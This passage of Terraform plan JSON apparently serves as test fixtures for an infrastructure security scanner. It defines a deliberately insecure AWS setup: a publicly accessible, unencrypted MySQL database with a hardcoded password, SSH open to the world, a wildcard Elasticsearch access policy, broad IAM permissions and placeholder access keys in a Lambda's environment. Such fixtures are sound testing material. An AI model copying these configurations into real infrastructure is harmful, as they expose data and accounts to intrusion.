"target_prefix": "log/" } ], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": null, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [ { "target_bucket": true } ], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "versioning": [ {} ], "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.financials", "mode": "managed", "type": "aws_s3_bucket", "name": "financials", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-financials", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-financials" }, "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": true, "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.flowbucket", "mode": "managed", "type": "aws_s3_bucket", "name": "flowbucket", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-flowlogs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": true, "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.logs", "mode": "managed", "type": "aws_s3_bucket", "name": "logs", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "log-delivery-write", "bucket": "123456789123-acme-corp-logs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "sse_algorithm": "aws:kms" } ] } ] } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-logs" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "kms_master_key_id": true } ] } ] } ], "tags": {}, "versioning": [ {} ], "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.operations", "mode": "managed", "type": "aws_s3_bucket", "name": "operations", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-operations", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-operations" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": [ {} ], "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket_object.data_object", "mode": "managed", "type": "aws_s3_bucket_object", "name": "data_object", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "cache_control": null, "content": null, "content_base64": null, "content_disposition": null, "content_encoding": null, "content_language": null, "force_destroy": false, "key": "customer-master.xlsx", "metadata": null, "object_lock_legal_hold_status": null, "object_lock_mode": null, "object_lock_retain_until_date": null, "source": "resources/customer-master.xlsx", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-customer-master" }, "website_redirect": null }, "after_unknown": { "bucket": true, "content_type": true, "etag": true, "id": true, "kms_key_id": true, "server_side_encryption": true, "storage_class": true, "tags": {}, "version_id": true } } }, { "address": "aws_security_group.default", "mode": "managed", "type": "aws_security_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Managed by Terraform", "name": "123456789123-acme-corp-rds-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds-sg" }, "timeouts": null }, "after_unknown": { "arn": true, "egress": true, "id": true, "ingress": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_security_group.web-node", "mode": "managed", "type": "aws_security_group", "name": "web-node", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "123456789123-acme-corp Security Group", "egress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 0, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "-1", "security_groups": [], "self": false, "to_port": 0 } ], "ingress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 22, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 22 }, { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 80, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 80 } ], "name": "123456789123-acme-corp-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": null, "timeouts": null }, "after_unknown": { "arn": true, "egress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "id": true, "ingress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] }, { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "owner_id": true, "vpc_id": true } } }, { "address": "aws_security_group_rule.egress", "mode": "managed", "type": "aws_security_group_rule", "name": "egress", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "cidr_blocks": [ "0.0.0.0/0" ], "description": null, "from_port": 0, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "-1", "self": false, "to_port": 0, "type": "egress" }, "after_unknown": { "cidr_blocks": [ false ], "id": true, "security_group_id": true, "source_security_group_id": true } } }, { "address": "aws_security_group_rule.ingress", "mode": "managed", "type": "aws_security_group_rule", "name": "ingress", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "cidr_blocks": [ "172.16.0.0/16" ], "description": null, "from_port": 3306, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "tcp", "self": false, "to_port": 3306, "type": "ingress" }, "after_unknown": { "cidr_blocks": [ false ], "id": true, "security_group_id": true, "source_security_group_id": true } } }, { "address": "aws_subnet.eks_subnet1", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet1", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "10.10.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_subnet.eks_subnet2", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet2", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "10.10.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet2", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_subnet.web_subnet", "mode": "managed", "type": "aws_subnet", "name": "web_subnet", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "172.16.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_subnet.web_subnet2", "mode": "managed", "type": "aws_subnet", "name": "web_subnet2", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "172.16.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet2" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_volume_attachment.ebs_att", "mode": "managed", "type": "aws_volume_attachment", "name": "ebs_att", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "device_name": "/dev/sdh", "force_detach": null, "skip_destroy": null }, "after_unknown": { "id": true, "instance_id": true, "volume_id": true } } }, { "address": "aws_vpc.eks_vpc", "mode": "managed", "type": "aws_vpc", "name": "eks_vpc", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "10.10.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-eks-vpc" } }, "after_unknown": { "arn": true, "default_network_acl_id": true, "default_route_table_id": true, "default_security_group_id": true, "dhcp_options_id": true, "enable_classiclink": true, "enable_classiclink_dns_support": true, "id": true, "ipv6_association_id": true, "ipv6_cidr_block": true, "main_route_table_id": true, "owner_id": true, "tags": {} } } }, { "address": "aws_vpc.web_vpc", "mode": "managed", "type": "aws_vpc", "name": "web_vpc", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "172.16.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-vpc" } }, "after_unknown": { "arn": true, "default_network_acl_id": true, "default_route_table_id": true, "default_security_group_id": true, "dhcp_options_id": true, "enable_classiclink": true, "enable_classiclink_dns_support": true, "id": true, "ipv6_association_id": true, "ipv6_cidr_block": true, "main_route_table_id": true, "owner_id": true, "tags": {} } } }, { "address": "null_resource.push_image", "mode": "managed", "type": "null_resource", "name": "push_image", "provider_name": "null", "change": { "actions": [ "create" ], "before": null, "after": { "triggers": null }, "after_unknown": { "id": true } } } ], "output_changes": { "db_app_public_dns": { "actions": [ "create" ], "before": null, "after_unknown": true }, "db_endpoint": { "actions": [ "create" ], "before": null, "after_unknown": true }, "ec2_public_dns": { "actions": [ "create" ], "before": null, "after_unknown": true }, "endpoint": { "actions": [ "create" ], "before": null, "after_unknown": true }, "kubeconfig-certificate-authority-data": { "actions": [ "create" ], "before": null, "after_unknown": true }, "public_subnet": { "actions": [ "create" ], "before": null, "after_unknown": true }, "public_subnet2": { "actions": [ "create" ], "before": null, "after_unknown": true }, "secret": { "actions": [ "create" ], "before": null, "after_unknown": true }, "username": { "actions": [ "create" ], "before": null, "after": "123456789123-acme-corp-user", "after_unknown": false }, "vpc_id": { "actions": [ "create" ], "before": null, "after_unknown": true } }, "prior_state": { "format_version": "0.1", "terraform_version": "0.12.23", "values": { "root_module": { "resources": [ { "address": "data.aws_ami.amazon-linux-2", "mode": "data", "type": "aws_ami", "name": "amazon-linux-2", "provider_name": "aws", "schema_version": 0, "values": { "architecture": "x86_64", "arn": "arn:aws:ec2:us-west-2::image/ami-0f0a6d00932023856", "block_device_mappings": [ { "device_name": "/dev/xvda", "ebs": { "delete_on_termination": "true", "encrypted": "false", "iops": "0", "snapshot_id": "snap-06c1606ba5ca274b1", "volume_size": "8", "volume_type": "standard" }, "no_device": "", "virtual_name": "" } ], "creation_date": "2020-09-22T02:09:24.000Z", "description": "Amazon Linux 2 AMI 2.0.20200917.0 x86_64 HVM ebs", "executable_users": null, "filter": [ { "name": "name", "values": [ "amzn2-ami-hvm-*-x86_64-ebs" ] }, { "name": "owner-alias", "values": [ "amazon" ] } ], "hypervisor": "xen", "id": "ami-0f0a6d00932023856", "image_id": "ami-0f0a6d00932023856", "image_location": "amazon/amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs", "image_owner_alias": "amazon", "image_type": "machine", "kernel_id": null, "most_recent": true, "name": "amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs", "name_regex": null, "owner_id": "137112412989", "owners": [ "amazon" ], "platform": null, "product_codes": [], "public": true, "ramdisk_id": null, "root_device_name": "/dev/xvda", "root_device_type": "ebs", "root_snapshot_id": "snap-06c1606ba5ca274b1", "sriov_net_support": "simple", "state": "available", "state_reason": { "code": "UNSET", "message": "UNSET" }, "tags": {}, "virtualization_type": "hvm" } }, { "address": "data.aws_caller_identity.current", "mode": "data", "type": "aws_caller_identity", "name": "current", "provider_name": "aws", "schema_version": 0, "values": { "account_id": "123456789123", "arn": "arn:aws:iam::123456789123:user/barak@bridgecrew.io", "id": "123456789123", "user_id": "AIDA2MPWNTLGWKZRRDYTT" } }, { "address": "data.aws_iam_policy_document.iam_policy_eks", "mode": "data", "type": "aws_iam_policy_document", "name": "iam_policy_eks", "provider_name": "aws", "schema_version": 0, "values": { "id": "189502314", "json": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"eks.amazonaws.com\"\n }\n }\n ]\n}", "override_json": null, "policy_id": null, "source_json": null, "statement": [ { "actions": [ "sts:AssumeRole" ], "condition": [], "effect": "Allow", "not_actions": [], "not_principals": [], "not_resources": [], "principals": [ { "identifiers": [ "eks.amazonaws.com" ], "type": "Service" } ], "resources": [], "sid": "" } ], "version": "2012-10-17" } }, { "address": "data.aws_iam_policy_document.policy", "mode": "data", "type": "aws_iam_policy_document", "name": "policy", "provider_name": "aws", "schema_version": 0, "values": { "id": "3931805674", "json": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"es:*\",\n \"Resource\": \"*\",\n \"Principal\": {\n \"AWS\": \"*\"\n }\n }\n ]\n}", "override_json": null, "policy_id": null, "source_json": null, "statement": [ { "actions": [ "es:*" ], "condition": [], "effect": "Allow", "not_actions": [], "not_principals": [], "not_resources": [], "principals": [ { "identifiers": [ "*" ], "type": "AWS" } ], "resources": [ "*" ], "sid": "" } ], "version": "2012-10-17" } } ] } } } } ================================================ FILE: tests/terraform/runner/tf_plan_skip_check_regex/resource/tfplan1.json ================================================ { "format_version": "0.1", "terraform_version": "0.12.23", "variables": { "ami": { "value": "ami-09a5b0b7edf08843d" }, "availability_zone": { "value": "us-west-2a" }, "availability_zone2": { "value": "us-west-2b" }, "company_name": { "value": "acme" }, "dbname": { "value": "db1" }, "environment": { "value": "corp" }, "neptune-dbname": { "value": "neptunedb1" }, "password": { "value": "Aa1234321Bb" }, "profile": { "value": "default" }, "region": { "value": "us-west-2" } }, "planned_values": { "outputs": { "db_app_public_dns": { "sensitive": false }, "db_endpoint": { "sensitive": false }, "ec2_public_dns": { "sensitive": false }, "endpoint": { "sensitive": false }, "kubeconfig-certificate-authority-data": { "sensitive": false }, "public_subnet": { "sensitive": false }, "public_subnet2": { "sensitive": false }, "secret": { "sensitive": false }, "username": { "sensitive": false, "value": "123456789123-acme-corp-user" }, "vpc_id": { "sensitive": false } }, "root_module": { "resources": [ { "address": "aws_db_instance.default", "mode": "managed", "type": "aws_db_instance", "name": "default", "provider_name": "aws", "schema_version": 1, "values": { "allocated_storage": 20, "allow_major_version_upgrade": null, "apply_immediately": true, "auto_minor_version_upgrade": true, "backup_retention_period": 0, "copy_tags_to_snapshot": false, "db_subnet_group_name": "sg-123456789123-acme-corp", "delete_automated_backups": true, "deletion_protection": null, "domain": null, "domain_iam_role_name": null, "enabled_cloudwatch_logs_exports": null, "engine": "mysql", "engine_version": "8.0", "final_snapshot_identifier": null, "iam_database_authentication_enabled": null, "identifier": "rds-123456789123-acme-corp", "instance_class": "db.t3.micro", "iops": null, "max_allocated_storage": null, "monitoring_interval": 0, "multi_az": false, "name": "db1", "option_group_name": "og-123456789123-acme-corp", "parameter_group_name": "pg-123456789123-acme-corp", "password": "Aa1234321Bb", "performance_insights_enabled": false, "publicly_accessible": true, "replicate_source_db": null, "s3_import": [], "security_group_names": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds" }, "timeouts": null, "username": "admin" } }, { "address": "aws_db_option_group.default", "mode": "managed", "type": "aws_db_option_group", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "engine_name": "mysql", "major_engine_version": "8.0", "name": "og-123456789123-acme-corp", "option": [], "option_group_description": "Terraform OG", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-og" }, "timeouts": null } }, { "address": "aws_db_parameter_group.default", "mode": "managed", "type": "aws_db_parameter_group", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "description": "Terraform PG", "family": "mysql8.0", "name": "pg-123456789123-acme-corp", "parameter": [ { "apply_method": "immediate", "name": "character_set_client", "value": "utf8" }, { "apply_method": "immediate", "name": "character_set_server", "value": "utf8" } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-pg" } } }, { "address": "aws_db_subnet_group.default", "mode": "managed", "type": "aws_db_subnet_group", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "description": "Terraform DB Subnet Group", "name": "sg-123456789123-acme-corp", "tags": { "Environment": "123456789123-acme-corp", "Name": "sg-123456789123-acme-corp" } } }, { "address": "aws_ebs_snapshot.example_snapshot", "mode": "managed", "type": "aws_ebs_snapshot", "name": "example_snapshot", "provider_name": "aws", "schema_version": 0, "values": { "description": "123456789123-acme-corp-ebs-snapshot", "tags": { "Name": "123456789123-acme-corp-ebs-snapshot" }, "timeouts": null } }, { "address": "aws_ebs_volume.web_host_storage", "mode": "managed", "type": "aws_ebs_volume", "name": "web_host_storage", "provider_name": "aws", "schema_version": 0, "values": { "availability_zone": "us-west-2a", "multi_attach_enabled": null, "outpost_arn": null, "size": 1, "tags": { "Name": "123456789123-acme-corp-ebs" } } }, { "address": "aws_ecr_repository.repository", "mode": "managed", "type": "aws_ecr_repository", "name": "repository", "provider_name": "aws", "schema_version": 0, "values": { "encryption_configuration": [], "image_scanning_configuration": [], "image_tag_mutability": "MUTABLE", "name": "123456789123-acme-corp-repository", "tags": { "Name": "123456789123-acme-corp-repository" }, "timeouts": null } }, { "address": "aws_eks_cluster.eks_cluster", "mode": "managed", "type": "aws_eks_cluster", "name": "eks_cluster", "provider_name": "aws", "schema_version": 0, "values": { "enabled_cluster_log_types": null, "encryption_config": [], "name": "123456789123-acme-corp-eks", "tags": null, "timeouts": null, "vpc_config": [ { "endpoint_private_access": true, "endpoint_public_access": true, "security_group_ids": null } ] } }, { "address": "aws_elasticsearch_domain.monitoring-framework", "mode": "managed", "type": "aws_elasticsearch_domain", "name": "monitoring-framework", "provider_name": "aws", "schema_version": 0, "values": { "cluster_config": [ { "dedicated_master_count": null, "dedicated_master_enabled": false, "dedicated_master_type": null, "instance_count": 1, "instance_type": "t2.small.elasticsearch", "warm_count": null, "warm_enabled": null, "warm_type": null, "zone_awareness_config": [], "zone_awareness_enabled": null } ], "cognito_options": [], "domain_name": "tg-corp-es", "ebs_options": [ { "ebs_enabled": true, "iops": null, "volume_size": 30 } ], "elasticsearch_version": "2.3", "log_publishing_options": [], "snapshot_options": [], "tags": null, "timeouts": null, "vpc_options": [] } }, { "address": "aws_elasticsearch_domain_policy.monitoring-framework-policy", "mode": "managed", "type": "aws_elasticsearch_domain_policy", "name": "monitoring-framework-policy", "provider_name": "aws", "schema_version": 0, "values": { "access_policies": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"es:*\",\n \"Resource\": \"*\",\n \"Principal\": {\n \"AWS\": \"*\"\n }\n }\n ]\n}", "domain_name": "tg-corp-es" } }, { "address": "aws_elb.weblb", "mode": "managed", "type": "aws_elb", "name": "weblb", "provider_name": "aws", "schema_version": 0, "values": { "access_logs": [], "connection_draining": true, "connection_draining_timeout": 400, "cross_zone_load_balancing": true, "health_check": [ { "healthy_threshold": 2, "interval": 30, "target": "HTTP:8000/", "timeout": 3, "unhealthy_threshold": 2 } ], "idle_timeout": 400, "listener": [ { "instance_port": 8000, "instance_protocol": "http", "lb_port": 80, "lb_protocol": "http", "ssl_certificate_id": "" } ], "name": "weblb-terraform-elb", "name_prefix": null, "tags": { "Name": "foobar-terraform-elb" } } }, { "address": "aws_flow_log.vpcflowlogs", "mode": "managed", "type": "aws_flow_log", "name": "vpcflowlogs", "provider_name": "aws", "schema_version": 0, "values": { "eni_id": null, "iam_role_arn": null, "log_destination_type": "s3", "max_aggregation_interval": 600, "subnet_id": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "traffic_type": "ALL" } }, { "address": "aws_iam_access_key.user", "mode": "managed", "type": "aws_iam_access_key", "name": "user", "provider_name": "aws", "schema_version": 0, "values": { "pgp_key": null, "user": "123456789123-acme-corp-user" } }, { "address": "aws_iam_instance_profile.ec2profile", "mode": "managed", "type": "aws_iam_instance_profile", "name": "ec2profile", "provider_name": "aws", "schema_version": 0, "values": { "name": "123456789123-acme-corp-profile", "name_prefix": null, "path": "/", "role": "123456789123-acme-corp-role" } }, { "address": "aws_iam_role.ec2role", "mode": "managed", "type": "aws_iam_role", "name": "ec2role", "provider_name": "aws", "schema_version": 0, "values": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-role", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-role" } } }, { "address": "aws_iam_role.iam_for_eks", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_eks", "provider_name": "aws", "schema_version": 0, "values": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"eks.amazonaws.com\"\n }\n }\n ]\n}", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-iam-for-eks", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": null } }, { "address": "aws_iam_role.iam_for_lambda", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_lambda", "provider_name": "aws", "schema_version": 0, "values": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"lambda.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-analysis-lambda", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": null } }, { "address": "aws_iam_role_policy.ec2policy", "mode": "managed", "type": "aws_iam_role_policy", "name": "ec2policy", "provider_name": "aws", "schema_version": 0, "values": { "name": "123456789123-acme-corp-policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"s3:*\",\n \"ec2:*\",\n \"rds:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSClusterPolicy", "provider_name": "aws", "schema_version": 0, "values": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy", "role": "123456789123-acme-corp-iam-for-eks" } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSServicePolicy", "provider_name": "aws", "schema_version": 0, "values": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSServicePolicy", "role": "123456789123-acme-corp-iam-for-eks" } }, { "address": "aws_iam_user.user", "mode": "managed", "type": "aws_iam_user", "name": "user", "provider_name": "aws", "schema_version": 0, "values": { "force_destroy": true, "name": "123456789123-acme-corp-user", "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-user" } } }, { "address": "aws_iam_user_policy.userpolicy", "mode": "managed", "type": "aws_iam_user_policy", "name": "userpolicy", "provider_name": "aws", "schema_version": 0, "values": { "name": "excess_policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"ec2:*\",\n \"s3:*\",\n \"lambda:*\",\n \"cloudwatch:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n", "user": "123456789123-acme-corp-user" } }, { "address": "aws_instance.db_app", "mode": "managed", "type": "aws_instance", "name": "db_app", "provider_name": "aws", "schema_version": 1, "values": { "ami": "ami-0f0a6d00932023856", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": "123456789123-acme-corp-profile", "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-dbapp" }, "timeouts": null, "user_data_base64": null } }, { "address": "aws_instance.web_host", "mode": "managed", "type": "aws_instance", "name": "web_host", "provider_name": "aws", "schema_version": 1, "values": { "ami": "ami-09a5b0b7edf08843d", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": null, "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-ec2" }, "timeouts": null, "user_data": "44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2", "user_data_base64": null } }, { "address": "aws_internet_gateway.web_igw", "mode": "managed", "type": "aws_internet_gateway", "name": "web_igw", "provider_name": "aws", "schema_version": 0, "values": { "tags": { "Name": "123456789123-acme-corp-igw" } } }, { "address": "aws_kms_alias.logs_key_alias", "mode": "managed", "type": "aws_kms_alias", "name": "logs_key_alias", "provider_name": "aws", "schema_version": 0, "values": { "name": "alias/123456789123-acme-corp-logs-bucket-key", "name_prefix": null } }, { "address": "aws_kms_key.logs_key", "mode": "managed", "type": "aws_kms_key", "name": "logs_key", "provider_name": "aws", "schema_version": 0, "values": { "customer_master_key_spec": "SYMMETRIC_DEFAULT", "deletion_window_in_days": 7, "description": "123456789123-acme-corp-logs bucket key", "enable_key_rotation": false, "is_enabled": true, "key_usage": "ENCRYPT_DECRYPT", "tags": null } }, { "address": "aws_lambda_function.analysis_lambda", "mode": "managed", "type": "aws_lambda_function", "name": "analysis_lambda", "provider_name": "aws", "schema_version": 0, "values": { "dead_letter_config": [], "description": null, "environment": [ { "variables": { "access_key": "AKIAIOSFODNN7EXAMPLE", "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } } ], "file_system_config": [], "filename": "resources/lambda_function_payload.zip", "function_name": "123456789123-acme-corp-analysis", "handler": "exports.test", "kms_key_arn": null, "layers": null, "memory_size": 128, "publish": false, "reserved_concurrent_executions": -1, "runtime": "nodejs12.x", "s3_bucket": null, "s3_key": null, "s3_object_version": null, "source_code_hash": 